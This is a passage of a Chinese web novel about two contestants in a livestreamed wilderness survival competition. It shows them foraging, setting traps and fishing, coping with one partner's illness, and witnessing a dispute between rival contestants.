怕留下太多痕迹,木香不让其他人跟着,她一个人进入那片区域,这次运气不错,有一个竹夹子夹住了一只山耗子,那只山耗子肥肥胖胖的,被夹住了跑不了,见人来了拼命挣扎,木香一棍子敲下去,把山耗子敲晕了。
她提着山耗子的尾巴,折返回去扔给了钟臣溪。
大美还没从震惊中回神:“哇,好大的山鼠啊!Q2组合过上好日子了!”
木香回去重新将捕鼠竹夹陷阱布置好。
做好这一切,她带着大家继续往山上走,下雨之前她去过一趟山顶,路上发现了一株脚板薯,今天钟臣溪在,正好让他去挖。
路上钟臣溪发现了几株麦冬,这让他心情不错,又给大家表演了一段鸭子欢叫。
“嘎嘎嘎,麦冬,好多麦冬,晚上吃烤肉,喝麦冬粥咯!”
直播间都快笑疯了。
木香面无表情,靠在树干上吃树莓,有种家长带调皮小孩的无奈。
等钟臣溪把几株麦冬挖起来,木香才继续带路,中午的时候,木香找到了那株脚板薯。
脚板薯也叫脚板薯,它土下的根茎状似大脚板,紫色肉质,可以吃。通常很大,一块根茎就有大几斤甚至十几斤重。
“就是这,挖吧,我去附近看看。”
木香说完往林子深处走去,而钟臣溪则脱下冲锋外套,准备开挖。
大美望着木香的背影,犹豫了三秒后决定放弃,她将镜头对准了钟臣溪:“小伙伴们,我们的22号选手臣溪准备挖脚板薯了。”
不是她不想跟着冷姐打野,实在是她有心无力啊。
爬了一上午的山,她腿都软了。如果再跟着冷场姐,难保她不会掉链子啊。
还是在这里拍小沪爷挖土比较靠谱。
察觉到后面没人,木香嘴角弯起,可算是清净了。
她在附近逛了一圈,找到一株穿破石,摘了半筐果子后,木香又找了个阳光充裕的地方躺下,小憩了一会儿。
半个时辰后,木香回去了。
钟臣溪还在挖土,脚板薯藏得有点深,钟臣溪挖了半米深,脚板薯还有半截埋在土里。
他蹲在地上,身上只穿了一件短袖,他衣服裤子上满是泥土。
木香走过去:“我来。”
钟臣溪抬头,看到了站在跟前的木香,她身姿笔直,肤色雪白,阳光打在她的乌黑的短发上,她看起来英气又明媚。
钟臣溪看得一怔,迅速低头;“哦。”
他放下手里的木铲和砍刀,走到了一边。
木香脱了外套,卷起长袖,开始干活。
她的动作又快又狠,一铲子下去就能掀开一大块泥头,大美在旁边连连称赞:“不愧是我们的冷姐,干活太得劲儿了。接下来让我们沉浸式欣赏冷姐挖脚板薯!”
钟臣溪走到旁边,拿了一根水壶喝水。这是钟臣溪制作的携带式水壶,将细竹管中间打通留底,再削一段木段做木塞,就可以用来储水,出门也可以当做水壶。
钟臣溪喝了几口水,看到木香的竹筐里有野果,就拿起来吃,他吃着野果,目光不自觉的飘向木香。
她的每一个动作都那么利落、飒爽。
这到底是哪里跑来的女人啊,怎么能厉害成这样子。
钟臣溪猛看了几眼,怕被发现,收回目光,吃了几个果子,目光又看了过去。
大约半个多小时后,木香就把整个脚板薯挖了出来,这块脚板薯根很大一块,连竹筐都装不下,木香就把它切成两截,钟臣溪把脚板薯装进自己背篓里。
“小伙伴们看到了吗?好大一块脚板薯,得有十几斤了吧?够吃好久了。Q2组合今天进山真是收获满满啊。”
“木香,回去吗?”
钟臣溪估摸着已经下午两三点了。
木香点头:“恩。”本来她是想去山顶吹吹风,但考虑到大美他们的速度,还是放弃了。
下山木香又选择了一条新路,路上钟臣溪忽然停住脚步,他在一根藤前驻足。
大美问:“怎么了?这是什么?”
“如果我没认错,这应该是葛根,粉葛。”粉葛根茎富含淀粉,是果腹的好东西。
但钟臣溪也不敢完全确定,他虽然看了很多书和视频,也多次去植物园学习,但毕竟是临时抱佛脚,学得不扎实。
“木香,你来看看。”
木香回过头来,扫了一眼点头:“是葛根。下次来挖。”
钟臣溪立即翘起嘴角。
回到家后,木香把山鼠做成了烤肉串,Q2组合美美的享受了一蹲,一旁拍摄的大美几乎控制不住口水了。
好不容易拍完他们吃烤肉,大美头也不回的跑下山了,她下定决心,明天请假一天,去市区吃烤肉!
这是美好的一天,吃了烤肉的钟臣溪坐在院子里看夕阳。
他手里还端着一碗麦冬粥,沐浴着夕阳,再来一口麦冬粥,真是美滋滋。
钟臣溪觉得不能一人独享这美景,开始叫木香:”木香,出来看夕阳啊。”
木香不理他,钟臣溪就继续叫:“木香,木香,嘎嘎嘎嘎!”
”闭嘴!”木香怒喝的声音从屋里传来,被骂的钟臣溪龇着牙笑:“哦。好。”
趁着天还没黑,木香去山泉那里打水,她把家里装水用的竹筒都装满水,以备晚上擦洗用。
很快
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天黑了,钟臣溪连着打了几个哈欠:“今天在山上那么久,好累,木香,今天你守前半夜啊。”
不等木香说话,钟臣溪就自己去床上躺下了。
木香默默守在火堆边,确定钟臣溪没动静了,木香才起身去了屋外的浴室。
十几个竹筒装不了多少水,木香把那件短袖当布巾,打湿后擦洗身体。其实在山上生活对木香来说是简单的事情。父母去世后,她一个人在山上又过了三四年。
修建房子,搜寻食物,砍柴打猎这些事她都很熟练。
尽管这片山和她住过的山有一些不同,但也难不住她。唯一的难处就是洗浴。
没有换洗的衣物,也没有洗浴的条件。
而且山上人又多,不能直接去溪边水边洗。
所以只能这样凑合了。
收拾好后,木香回到屋里,钟臣溪还保持着原先那个朝里的躺姿。
她在火塘边坐下,冷不丁来一句:“睡不着就别装了。”
“……”身体几乎僵硬的钟臣溪呆了一下,他默默坐起身,望着木香的背影,一脸不可思议:“你咋知道我装睡?"
“你若是睡熟了,会有呼噜声。”
钟臣溪震惊:“你说什么?我打呼噜?怎么可能?”
他年纪轻轻的,身体又好,怎么会打呼噜呢?
木香又补了一刀:“你不仅打呼噜,还会磨牙。”
“……”钟臣溪沉默了。那可真是太糟糕了,他居然在女神面前打呼噜磨牙。
幸好还没放屁。
他又躺了回去,最后默默道:“虽然你不打呼噜也不磨牙,但会说梦话。”
木香一怔,有些恍然,她轻声问:“我说什么梦话?”
“我听不清楚,好像是弟弟。你是想你弟弟了吗?”
好一会儿,木香才回他:“我十五岁和弟弟分开,从此再也没见过。”
“他去了哪里?”
“不在了。”
钟臣溪没想到是这个结果:“……抱歉。”
两人不再说话,又过了一会儿,木香听到身后传来呼噜声。今天他的呼噜声比较大,大概是爬了一天山太累了。
她用棍子拨了拨火,让火烧得大一些,屋子里暖和一些。
之后,她呆呆望着跳跃的火焰,火焰中似乎显现出四块石碑。
其中两块是父母的,上面刻有父母的名字。已经不是她当初为父母刻的石碑,但旁边那株松树,她记得。
的确是她父母的墓地,只是后来有人重修了。
而剩下的两块,在父母的墓碑左右,一块刻着她的名字,一块刻着“木沉”。
木沉下山后没多久,为了保护木沉,父母带着她搬到了另一片山里。之后父母相继离世,她一个人住在山上。
那年她二十四岁,一次她下山卖药,被人认出来了。
那个人曾是父亲的下属,当时已经转投了新朝,在新朝为官。她装作不认识他,但那人为了邀功,转身去了衙门揭发了她的身份。
猎户家的小儿子为她报信,木香逃入深山中,那天夜里,天降大雨,木香心灰意冷,她来到父母墓碑前,打算和他们去团聚。
但在她撞向母亲墓碑的一瞬间,雷鸣电闪,她再睁开眼,已经是白天了,天上阳光明媚,她眼前的两块墓碑变成了四块。
其中一块,就是她的墓碑。
她死了,她又没死。
直到今天,她都感觉自己像是做梦。
不过,不管怎么样,她必须拿到五十万奖金。
因为,孙侄说,她再赚不到钱,只能学野猫翻垃圾桶了。
23. 第十二天
后半夜是钟臣溪守夜。
但钟臣溪起来没多久,就觉得肚子一阵阵疼。
起初,他不以为意,自打上山后,因为山里食物有限,他三四天才上一次大号。
但昨天不一样,昨天食物丰盛,又是煮黄精,又是烤肉,还有野果和麦冬粥。
吃得多,拉的也多,这很正常。
但连着去外面林子里挖了三个坑后,钟臣溪意识到了不对劲。
完了,他拉肚子了。
埋好第三个坑后,钟臣溪双腿发软,他摸着黑,杵着一根竹竿,颤颤巍巍的回到屋里。
这时,木香已经坐起身来,她望着他,目光审视:“窜稀了?”
她回想起昨天的食物,黄精不宜多吃,野果吃多了胃寒。另外,他们之前吃的素净,昨天那只山耗子有些肥腻,而且烤肉油腻。钟臣溪吃得有点多,因此他肠胃可能一时无法适应。
“……”钟臣溪脸上发热,反驳:“就是肚子有点不舒服而已。”
“你休息吧,我会看着火的。”
木香说着,起身走到火塘边。
钟臣溪觉得很不好意思,但眼下他确实需要休息,他躺到了床上,小声说:”谢谢。辛苦你了。”
木香没回他,她煮了一锅热水给钟臣溪喝。
但没什么用,接下来钟臣溪又去外面了三四趟。
等到天亮时,他已经腿软了。
木香煮了一锅山药,吃过早饭她就打算出门了:“你在家休息,我出去看看。”
钟臣溪点头,他现在有气无力,跟着木香只会拖后腿。
望着木香矫健利落的身影,钟臣溪很是钦佩,又有点懊恼:怎么他自己就那么不争气呢?
唉。
好丢脸啊。
唯一的好事是,他的嗓子好多了。
一上午,钟臣溪又去外面挖了几个坑,快中午的时候,老帅过来直播,发现钟臣溪脸色不对,一问才知道他拉肚子了。
在荒野求生比赛中,拉肚子是选手们经常遇到的问题,因为食物来源不稳定,又和日常食物区别很大,选手们如果肠胃无法适应,就会拉肚子。
目前有不少选手因为这个原因退赛。
“臣溪,那你还能坚持吗?”老帅问。
钟臣溪点头:“能。”
这个时候,直播间已经吵了起来。
【冷姐是出去打野了吗?那小沪爷拉肚子不能找食物,全靠冷姐吗?这不公平吧?】
【他们食物储备很多,小沪爷休息一天怎么了?】
【储备的食物又不是他一个人的,他要是老休息,冷姐就会被他拖累!】
【没错,如果他没办法赶快好起来,就应该自觉退赛!】
屏幕的一切,老帅都看在眼里。
其实像Q2组合现在面临的情况,之前已经出现了好多次,因为其中一个队友状态不佳,另一个队友就需要负担更多。荒野生存本来就艰难,这样一来,另一个队友或多或少就有了情绪。然后不经意或者故意表现出来。
时间久了,状态不佳的队友会主动退赛。
“那好,如果坚持不住一定要及时联系我们。定位器可以一键报警,你还记得怎么使用吧?”
钟臣溪点头;“我知道。不过……”他犹豫了一会儿说道:“如果后面还没好转,我大概会选择退赛。”
如果他不能好转,就会影响木香的状态。
赛场上大家各凭实力,他实力不行,就不能拖累别人。
“放心吧,又不是什么大事,会好起来的。”老帅安抚着钟臣溪,就在这时,木香回来了。
她把竹筐放下,里面有一些野菜和菌子,都已经清洗过了。
钟臣溪则起身,拿起旁边石头上晾晒的竹筒锅,准备煮水做饭。他之前已经洗好一块脚板薯,准备用作今天的午餐。
老帅将摄像头对准竹篓:“冷姐,今天有什么收获啊?”
“地锦草。”木香看向钟臣溪:“你多吃点,可以治腹泻。”
“原来冷姐是去找草药了。冷姐真的是又一次震惊到我了。”
老帅马屁不断,木香却面无表情,她看到屋外多了一个木架子。看来是钟臣溪刚才做的。
木架子上摆着几个小竹篮,里面是山药片。
今天天气好,他把山药片都拿出来晒了。
木香走过去,拿了一片山药嚼吧嚼吧。
【冷姐好厉害,真的是好有安全感。】
【不得不说,小沪爷和她组队,真的是天选之子啊。】
【冷姐太厉害,体力好,打野技能拉满,还会辨别草药,我真好奇有没有冷姐不会的事情?】
老帅不畏木香的高冷,跟了过去:“冷姐,大家都觉得你很厉害,好奇你有没有不会的事情?”
木香顿了一下,点头,一脸认真:“有啊。”
“你也有不会的事情吗,是什么?”老帅好奇极了。
”直播、聊天。”她说着眉头都皱了起来。
老帅忍不住笑了。
直播间也是哈哈哈不断。
【主播,你还没听出来吗?冷场姐叫你别播她了,她不会。】
老帅也听出木香话里的意思:“那你先忙着,我去跟臣溪聊聊。”
钟臣溪正蹲在火塘前煮饭,对于煮饭这件事,钟臣溪已经是轻车熟路了。
他甚至研究出了一套最佳口感时间。
“山药、脚板薯这类淀粉食物要煮半个小时以上,煮熟煮透,口感软软糯糯,最好吃。然后是菌子,煮个十分钟够了,最后放野菜。野菜烫个一两分钟就好了,保留了野菜的鲜味,如果煮太久就烂了,成菜糊糊,口感差多了。”
“咱们臣溪对荒野烹饪这一块很有心得啊。大家说你是荒野厨师。你怎么看?”
钟臣溪立即点头:“没错啊,要不是来参加这次比赛,我都不知道自己有这方面的天赋。”
他甚至觉得,做饭是一件挺开心的事情。
“今天的野菜是地锦草,是冷姐专门为你找的,你有什么想说的?”
想法?
她看上去那么冷,内心那么暖。
他这么菜,她很少嫌弃他,就算嫌弃,也从不明显的嫌弃。
在他心里,木香不是冷姐,她是暖姐!
钟臣溪心里有好多想说的,但眼下还不是说出来的时候。他不能自顾自的给木香带来困扰。
他对着镜头,一
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脸认真:“特感动,真的,下次木香拉肚子,我也去给她找地锦草。”
【哈哈哈哈,绝了。】
【这话太不吉利了,冷姐要被他气死了。】
老帅将镜头对准屋外的木香,只见木香坐在石头上,继续嚼吧着山药片,面无波澜。
【花开富贵送出一大束玫瑰花】
花开富贵:【这是送给木香的,我太喜欢你了,木香,谢谢你那么照顾小溪,但也不要为了他累坏了自己,实在不行让小溪退赛吧,阿姨照样支持你!】
【这,小沪爷被富婆妈妈给抛弃了?】
【咱冷姐的人格魅力没话说了,富婆也为之拜倒。】
【小沪爷知道了不得哭死在厕所啊。】
因为这些留言会动摇选手的心态,老帅并没有念出来,他继续刚才的话题:
“臣溪,你这么说,不怕冷姐生气吗?”
钟臣溪挑眉:“怎么会呢,木香脾气可好了。”
“……”坐在外头的木香用力咬一口山药片,发出一声“嘎嘣”。
钟臣溪嘿嘿笑了下,老帅也跟着笑。
吃完午饭,木香找了一根拇指粗的细竹竿,将头削尖,然后将一端劈开两半。
老帅好奇:“冷姐,你这是要干啥?”
“去抓鱼。”
木香做好鱼叉就下山了,老帅急忙跟上。
钟臣溪留守在家,望着他们远去的背影,莫名有点小忧伤。
他琢磨着在家做点什么,等下木香回来给她一个小惊喜。
嘿嘿。
……
这是木香进山以来第一次下山,山下的情况和钟臣溪上次打探到的差不多,这片山上已经没有多少人了。
到了溪边,木香看到一个女人正在洗着什么。那女人看上去四五十来岁,体态健硕,一看就是能干活的人。
而那个女人也看到了木香,她暂停动作,抬头打量着木香。
月菊不是第一次看到99号。在比赛前两天晚上,赛方主办的欢迎晚会上,她见过这个人。但99号是一个清秀的年轻女人,月菊根本没把她放在眼里。
万万想不到,她会坚持到现在。
月菊在一年前就开始关注天云山的荒野求生比赛。她是黔东南人,在山里出生,在山里长大。
她年轻时守寡,家里地里的事情一把抓,把两个孩子带大,两个孩子相继结婚,不料女儿小兰嫁人后被丈夫家暴,月菊看不得女儿受苦,把女儿接回家住。
但如此一来,家里儿子儿媳不高兴了,小兰难免受委屈。
于是月菊决定带着小兰来参加这个比赛,但凡能进前三,也得到一大笔奖金,有了这笔钱,就可以给小兰在镇上买个小房子住。
母女两人凭借着过硬的本事熬到了第十二天,熬走了一大半选手。
月菊计算过,现在他们所在的西区只剩十来人,除了她们这个母女组合,龙武组合也非常强,另外,通过和主播们聊天,她知道山上的Q2组合中的女选手99号十分强。
说真的,99号看起来真的很普通。
她体型有些单薄,这样的状态,能熬下去吗?
月菊收回目光,继续清洗手里的葛根。
24. 第十三天(1)
木香往下游走,她沿着河边走到一段距离,发现了一段水面比较宽的地方,便走到溪边。
木香一眼就选定了位置,那是溪中较深的一处水潭,旁边有一些石块露出水面,木香将竹篓放在溪边,然后几个跳跃,人就到了水潭中的一块石头上。
她双脚分开站稳,一手举起鱼叉,一手从衣服兜里掏出一些山药渣,洒在水面上。
之后,木香弯腰低头,她紧紧盯着水面,一动不动,就像是瞬间化作石雕一样。
老帅站在岸边直播,他怕打扰到木香,只小声和网友交流:“冷姐已经做好准备了,接下来我就不说话了,让我们欣赏冷姐捉鱼。”
就在这时,溪谷对面的坡上出现一个人,那是名男选手,约莫三十来岁,体态微胖,只穿了一件长袖。
他低头看着溪谷里的人,约莫猜出了她的身份。
这就是那个神龙见首不见尾的99号吧?
她真的有那么厉害吗?
木香的注意力全部在水里,她纹丝不动,直播间的网友们都有些不耐烦了,就在这时,木香忽然动了,一个眨眼的功夫,她蹲下身体,同时右手急速向下,竹竿鱼叉狠狠插入水中。
老帅激动坏了,急忙问:“中了吗?”
木香举起鱼叉,只见上边扎着一条巴掌长的鱼,这会儿正拼命挣扎呢。
木香几下跳回岸上,将鱼丢进竹篓里。
老帅立即夸赞起来:“大家看到了吗,鱼很大,冷姐,能说一下你的心得吗?”
老帅还没说完,木香一扭身,又跳了回去。
“……”
【哈哈哈,又冷场了。】
【没事儿,咱习惯了,老帅,你可以开启自言自语模式了。】
【对岸的龙哥还在看啊,他的渔网也不错啊,一次可以抓好多鱼。】
【龙哥VS冷姐,高手的第一次交锋!】
【龙武组合和Q2组合都很强,但现在小沪爷窜稀了,Q2组合有点劣势啊。】
一个多时辰后,太阳西下,木香也收手了。
她抓了六七条鱼,有大有小,加在一起足够煮一顿鱼汤了。木香就在河边把鱼处理干净。
老帅已经离开,木香提起竹篓准备走,她一抬头,看到对面那个男人又出现了。
从她开始抓鱼起,对岸的那个男人来来回回过来了三四次。木香一心抓鱼,并不在意。
现在两人目光对上,她清楚的从他眼里看到了较量的意味。
看来,他把她当做了对手。
不过可惜了,冠军只有一个,而她势在必得!
……
木香还没到家,就看到钟臣溪站在上面冲她招手:“木香,你回来了!”
他一脸喜悦,眼睛亮亮的。他这几天瘦了,人很挺拔,生得眉星眉剑目,俊美得很。
木香一怔,虽然有点废物,但……脾气好,长得也好。让人就是没办法讨厌啊。
木香走了上去,把竹篓递给他,钟臣溪看到鱼,先是一顿彩虹屁:
“这么多?木香,你好厉害!”
夸完木香后,钟臣溪不急着煮饭,而是拿了东西递给木香看:
“木香,看看这是什么?”
那是一卷绳子。下午钟臣溪没闲着,他一边提着裤子去林子里挖坑埋坑,一边将晾干的构树皮搓绳,一下午他搓出了三四米长的绳子。
“好。明天我去山里设机关。”
一个“好”字,让钟臣溪心里美滋滋,像是得到了表扬一样:“恩,我晚上再弄一点。我先去煮饭。”
“做鱼汤。”木香提醒他。
鱼汤养胃养身。他需要养养。
“明白。”
钟臣溪转身去煮饭了,木香看到屋外树下堆了不少树枝枯木。她走过去,将树枝枯木砍断,然后整整齐齐摆在树下。
很快鱼汤煮好了,奶白鲜嫩的鱼汤,再配上烤脚板薯烤山药,又是一顿美味。
转眼到了晚上,两人围在火塘边,各自忙活。
木香开始制作机关陷阱。和捕鼠的竹夹子不同,这次她做的是弹力陷阱。借助压弯树枝形成的反向弹力捕捉猎物。
除了绳子外,还需要两根小木段,两根木段一大一小,对应位置削出卡槽,可以上下互相卡住。
大的木段底端削尖,深插土中,作为固定。
小的木段一头卡住大木段,一头连接绳索。
绳索一头绑在压弯的树枝上,中间连接小木段,另一头做成活套圈,放在地上,并用小树枝撑起活圈一边,让其垂直地面,形成一个绳圈。
这样动物经过时,头从活套圈中间经过,脚却被活套绊住,当它脚带着活圈走动时,陷阱立即被触发,大小木段被分开,压弯的树枝反弹向上,活套收紧,捆住猎物!
这种圈套适合捕捉体型较小的猎物,比如野兔、野鸡和山耗子。
山耗子毕竟肉少,木香希望能抓一只大点的东西。
赛方有投放人工养殖的珍珠鸡二代野兔。
木香之前发现过一处珍珠鸡的活动的痕迹,她打算明天去那里下套。
钟臣溪一开始还好,等到夜深了,不知怎么的,又开始往外跑。
转眼到了夜半,钟臣溪有气无力的回来,木香已经封好火塘,在床上躺下了。
他默默走到床上躺下,忽然开口:“木香,你睡了吗?”
他平静的语气,带着几分心灰意懒。
这和平常活蹦乱跳的他太不同了。
“你想说什么?”
“……如果明天我还没好,我就退赛。”
木香皱眉:“怎么?拉个稀你就认输了?”
“……你就不能说好听一点?我只是觉得,这样对你不公平……”
木香打断他:“你想多了。多一张嘴少一张嘴对我都一样。”
“……”钟臣溪有点无奈:“你这样说我很没面子哎。”
“呵。”木香冷笑:“既然都打算半途而废了,还谈什么脸面?”
“……”
钟臣溪彻底服了:“行,反正你也养得起我,那我不走了。”
木香没有回应,她翻了个身,闭眼沉睡。
第十三天。
今天天气不错,一大早太阳就在山巅冒了个头。
木香吃过早饭就准备上山了。
昨天为了找地锦草,她没有上山,今天她想在山上多待一会儿,多搞点吃的储备起来。
她背着竹篓,带着昨晚制作的陷阱道具,上了山。
木香直奔设置捕鼠陷阱的地方,不过运气不好,一无所获。她虽然有点失落,但并不放在心上。
在山里讨生活,除了勤快、经验之外,也讲一个运气。不过没关系,今天运气不好,没准下次就时来运转了。
木香将被触发过的竹夹机关重新布置好后,往东边走,直奔上次发现珍珠鸡踪迹的地方。
途中她发现一株五叶山药,木香研究了一下,觉得这株山药埋得不深,于是决定先挖山药。
木香判断没错,她花了不到一个时辰,就把这颗山药挖出来了,还摘了不少山药豆,木香把它们放进竹篓,继续赶路。
快到中午的时候,她到了目的地,木香就地观察了一下,发现了一些新鲜的鸡脚印和几根鸡毛。
看来,那几只珍珠鸡还在这附近。
木香在附近设好了弹力陷阱。
这个时候,日头刚过正中,约莫是午时,回去还太早。
木香想了想,决定继续往东探一探。她所在的山头是赛区西区,往东那个山头是中区。
在整个赛场范围,选手可以自由活动。
既然今天时间还早,木香决定去中区逛逛。一路上,她捡了一些菌子,还抓了十几只蚱蜢。
为了不让蚱蜢跑了,木香用小树枝将蚱蜢串成蚱蜢葫芦。
大约走了小半个时辰,木香就到了东边的山腰,她正考虑着要不要下山,忽然听到不远处有人吵架。
“先到先得!我先摘,等我摘完了你才能摘。”
一脸大胡须的人瞪大眼:“放屁,明明是我先看的,我把衣服放在这里做了标志,老子去拉个屎回来,怎么就成你先发现的?”
两个男人
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吵得不可开交,木香悄咪咪的靠近,躲在树后观望。
很快,她就搞清楚了情况:原来,高个子和大胡须为了一株棠梨树吵了起来。
高个子显然不认同大胡须的说法;“你人在才算数,你搞个衣服放这里算什么?照你这个说法,我在每一株果树下放衣服,山里的果树都归我了?”"
大胡须立即反驳;“我就去拉个屎,多大点功夫,你这是耍赖。”
“谁让你便秘呢?拉个屎拉那么久!”
大胡须气急败坏,他怒气冲冲给了高个子一拳头;“你骂我!”
高个子被推得一个趔趄,立即也打回去:“你凭什么打人?”
于是两个人就这么打了起来。
躲在树后的木香皱眉。
事情变得麻烦了。
果然,人不该有好奇心。
此刻她内心天人交战:要不要出去劝架?还是这样一走了之?
但……盯着两人身后的棠梨树,她脚有点不想走。
就在这时,大胡须被一拳头打在地上,他挣扎着站起身来,气冲冲的往山下跑:“我要举报你,你犯规打人,你等着被强制退赛吧。”
高个子不乐意了,也收拾东西往山下走:“是你先动手的,要退赛你退!”
等两人走远,木香这才从树后出来,她慢慢悠悠走到棠梨树下,放下竹篓,一个利落爬上树,开始摘棠梨。
她先把挂着棠梨的树枝折下来,扔在地上,直到估摸着竹篓装不下时才跳下来,把棠梨一个个摘下放入竹篓中。
最后,她背着沉甸甸的竹篓下山了。
中区这里选手多一些,山上已经走出了不少小路,木香沿着小路下山,正巧经过一处巡查员营地。
而营地好些人正在吵吵闹闹,周围许多选手远远站着看热闹。
木香顺路走过去瞄了一眼,发现吵架的还是棠梨树下的那两人,不过,他们这次吵架的内容却不是棠梨归属,而是谁先动手打人了。
两人各执一词,都说是对方先动手,而自己只是为了防御。
出事的现场在山上,周围没有证人,也没有监控,谁也不知道究竟是怎么回事。
这让判定官老黄犯难了。
不同组合的选手交谈,黄牌警告。
选手之间互殴,红牌退赛。
现在的情况是,28号选手和57号为棠梨争吵,两人黄牌是确定的。
但两人是否是互殴就不好说了。
如果真的是一方先动手,另一方自卫反击,那自卫的一方算红牌就不太合理。
就在这时,现场的大美发现了站在旁边看热闹的木香,她有些惊讶:“木香,你怎么在这里?”
“在山上四处走走,就到了这边。”木香没急着走,又问:“他们两个还在吵呢?”
大美纳闷:“怎么,你认识他们两个?”
“恩,刚才在山上他们就在吵。”
大美眼睛一亮:“这么说,他们在山上吵架打架的时候,你就在现场?”
木香点头:“在啊。”
大美赶紧把木香拉到判定官面前;“黄哥,这是99号选手冷姐,之前28号和57号吵架的时候,她看到了。”
老黄赶紧问:“怎么回事?”
木香简单的把事情描述了一遍:“我听到了他们吵架的过程,大胡须先发现了棠梨树,留下衣物离开后,后高个子来,只见衣物不见人,开始摘棠梨。等大胡须回来后,两人争吵,大胡须激动下动手,高个子回击,大概打了两三个回合,大胡须停止攻击下山,高个子随后也下了山。”
老黄直点头:“那事情就清楚了,我和其他几个判定员商量一下再给出结论。”
木香于是问:“我可以走了吗?”
“可以啊,刚才你说的话我都录下来了。”
木香点头,她转身离开,这时大家才发现她背后的竹篓里满满一筐棠梨。
大胡须和高个子同时瞪大眼。
合着他们两个又吵架又打架,最后被这个女人捡了便宜!
大美憋着笑,把这一幕拍了一下来。
25. 第十四天(1)
中区距离西区有点远,快到天黑,木香才回家。
见木香回来,钟臣溪松了一口气,她再晚点回来,他又要成公鸭嗓了。
虽然这山上没有猛兽,但晚上还是很危险的。
钟臣溪一边准备晚饭,询问木香今天上山的情况。
木香把竹篓里的东西拿出来,大半筐棠梨,几块山药,最重要的是三串蚱蜢。
蚱蜢还没死透,在棍子上垂死挣扎。
木香用水将蚱蜢冲洗了一下,然后放到火塘上烤。
看到这一幕,钟臣溪瞳孔微缩。
他虽然接受了大白虫,但大白虫至少表面看起来雪白滚胖。而这些蚱蜢们,长得实在不太好吃的样子。
蚱蜢被火烤得噼啪作响,钟臣溪看得皱眉。
很快,三串蚱蜢烤好了,木香把一串递给钟臣溪:“吃吗?”
钟臣溪皱眉,他还在犹豫,木香已经收了回来:“还是我吃吧。”然后她一口一只蚱蜢。
”……”钟臣溪盯着木香,总觉得她故意的。其实她根本就不想分蚱蜢给他吃吧。
但木香对他的目光视若不见,不一会儿就把三串蚱蜢吃光了。
晚饭是脚板薯山药汤,吃过晚饭,木香坐到床边。床上多了一张草被。树皮绳将枯草整齐地,一层层的的编织成一张被子。
钟臣溪从外面进来,他一边把碗筷整齐的摆放在石块上,一边问:“闲着没事,我就顺手做了这个。”
见木香不说话,钟臣溪只得继续说:“你觉得怎么样?”
“不错。”
钟臣溪这才满足,他微微一笑:“这是我第一次做,做的不太好。你凑合用用。”
木香点头,然后掀开被子躺了进去。
这张草被足够大,能将她从头到尾都盖住,虽然远不如棉被柔软暖和,却让她感到了温暖和安心。
见木香要休息了,钟臣溪赶紧把话说完:“我已经好多了,明天跟你一去出去打野。”
“恩。”
第十四天。
天蒙蒙亮,木香就起来了。
她拿着刀,在挂在树枝上的木牌上刻下一道痕迹。
那块木牌是她用来记录时间的,上面已经刻了十四道刻痕,也就是说,她已经在这里十四天了。
她推算了一下,今天是寒露。早晚山上的水露很重,木香决定等太阳升起来后再去山上。
钟臣溪已经在煮早饭了,木香想找点事做,但家里里里外外的事情早就被钟臣溪安排得妥妥当当。屋子西侧整整齐齐摆了一堆砍好的木柴,足够烧十来天了。
屋外的空地也被收拾得平平整整,石头桌椅,置物木架也被有序地放在各处。
他甚至在院子下坡的地方挖出了台阶。
这里越来越像是她从前的家了。
木香找不到事做,就在院子里打了一套拳法。
这一幕,正好被大美拍到。
大美这次来找木香,是为了跟她说一下昨天的事情。
“28号也就那位留胡须的选手退赛。57号黄牌警告。57号说谢谢你帮他作证。”
木香不知道的是,57号高个子是中区的夺冠热门选手。他来自滇南,有山区生活经验,家境困难,特别能吃苦。
他的队友早早退赛,只剩下他一人单打独斗。但57号却说这样更好,免得还要把冠军奖励分给拖后腿的。
木香点头,表示知道了。
见木香回应,大美立即精神了,追着木香问:“木香,刚才你那套拳法有模有样的,看起来很专业,你是专门学过吗?”
木香假装没听见,原地闭眼蹲马步。
大美不死心,直播木香蹲马步,小声和网友交流,木香听得直皱眉。
就在这时,钟臣溪从屋里钻出:“大美,你今天来得巧啊,差点就扑空了。”
大美不得不将镜头转向钟臣溪:“你们两个今天都要出门吗?你拉肚子好了吗?”''
钟臣溪不愿提自己糗事,立即说道:“好了好了,早就好了。等下吃了早饭就出门。”
上回大美跟着两人去打野,虽然全程没掉链子,但也累得够呛。
所以大美不敢轻易跟着木香了,不过她早有准备,拿出一个运动摄影机给钟臣溪;
“这次我就不跟你们了,免得影响你们发挥,这个给你戴上。”
她把运动相机挂在钟臣溪脖子上,教他怎么使用,还不忘叮嘱:“多拍点咱冷姐的镜头,大家爱看。”
钟臣溪不高兴了:“那我呢?就没人在意我吗?我就纯纯一个拍摄工具人吗?”
大美嘿嘿一笑:“怎么会呢?除了拍摄,你还得负责配音啊,总不能让网友们看默片吧?”
“……”
直播间的网友们都乐了:
【小沪爷,别难过,起码还有花开富贵在意你!】
花开富贵带着她的大束鲜花来了:【主播,麻烦把镜头对准木香啊,22号灰头土脸的,有什么好看的?】
【?】
【不,这对吗?】
【花花姨,你到底是谁的麻麻?】
早饭过后,太阳升到半空,木香估摸着水露消得差不多了,就和钟臣溪上山了。
他们先去了放置捕鼠竹夹的地方,这次他们的运气不算坏,收获了一只山耗子,但也不算好,因为这只耗子很小,一斤都不到。
木香重新布置好陷阱,然后继续往山上走,她的目标是山顶。
这是木香第二次去山顶,她换了条路线,希望有新收获。
木香走在前面探路,钟臣溪则负责干活收尾。比如刚才木香发现几株百合,钟臣溪就拿着木铲开挖。
他们继续向上,这次钟臣溪也有了发现,他发现一株金刚藤,金刚藤很好辨认,它叶片椭圆,茎干带刺,上面还有一些红黄色的小浆果:
“木香,你来看看,这是金刚藤吗?”
金刚藤的嫩叶可以当做野菜吃,根茎含淀粉,也可以吃。
木香过来看了一眼,肯定了钟臣溪的发现:“可以吃。”
“行,那我开挖了。”
“我挖吧。你病刚好。”
“我可以。”钟臣溪信誓旦旦,前几天他在木香面前漏了怯,今天他要把失去的一切都补回来。他要向木香证明,他一点都不菜!
见木香目露怀疑,钟臣溪语气更坚定了:“相信我,我没问题的。”
木香看着他,面无表情:“接下来我们要去山顶,然后从另一条路回家,约莫太阳下山前才能回家。你真的行吗?”
“……”犹豫一秒后,钟臣溪想起了前车之鉴的老帅,立马认怂了:“还是你来挖吧。”
木香也没笑话他,接过木铲开挖,钟臣溪就在一旁拍摄,时不时说几句话,当然了,全程都是他自言自语,木香根本不搭话。
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半个多小时后,他们收获了一两斤的金刚藤根茎,继续往山上走。
过了中午,他们到了山顶。
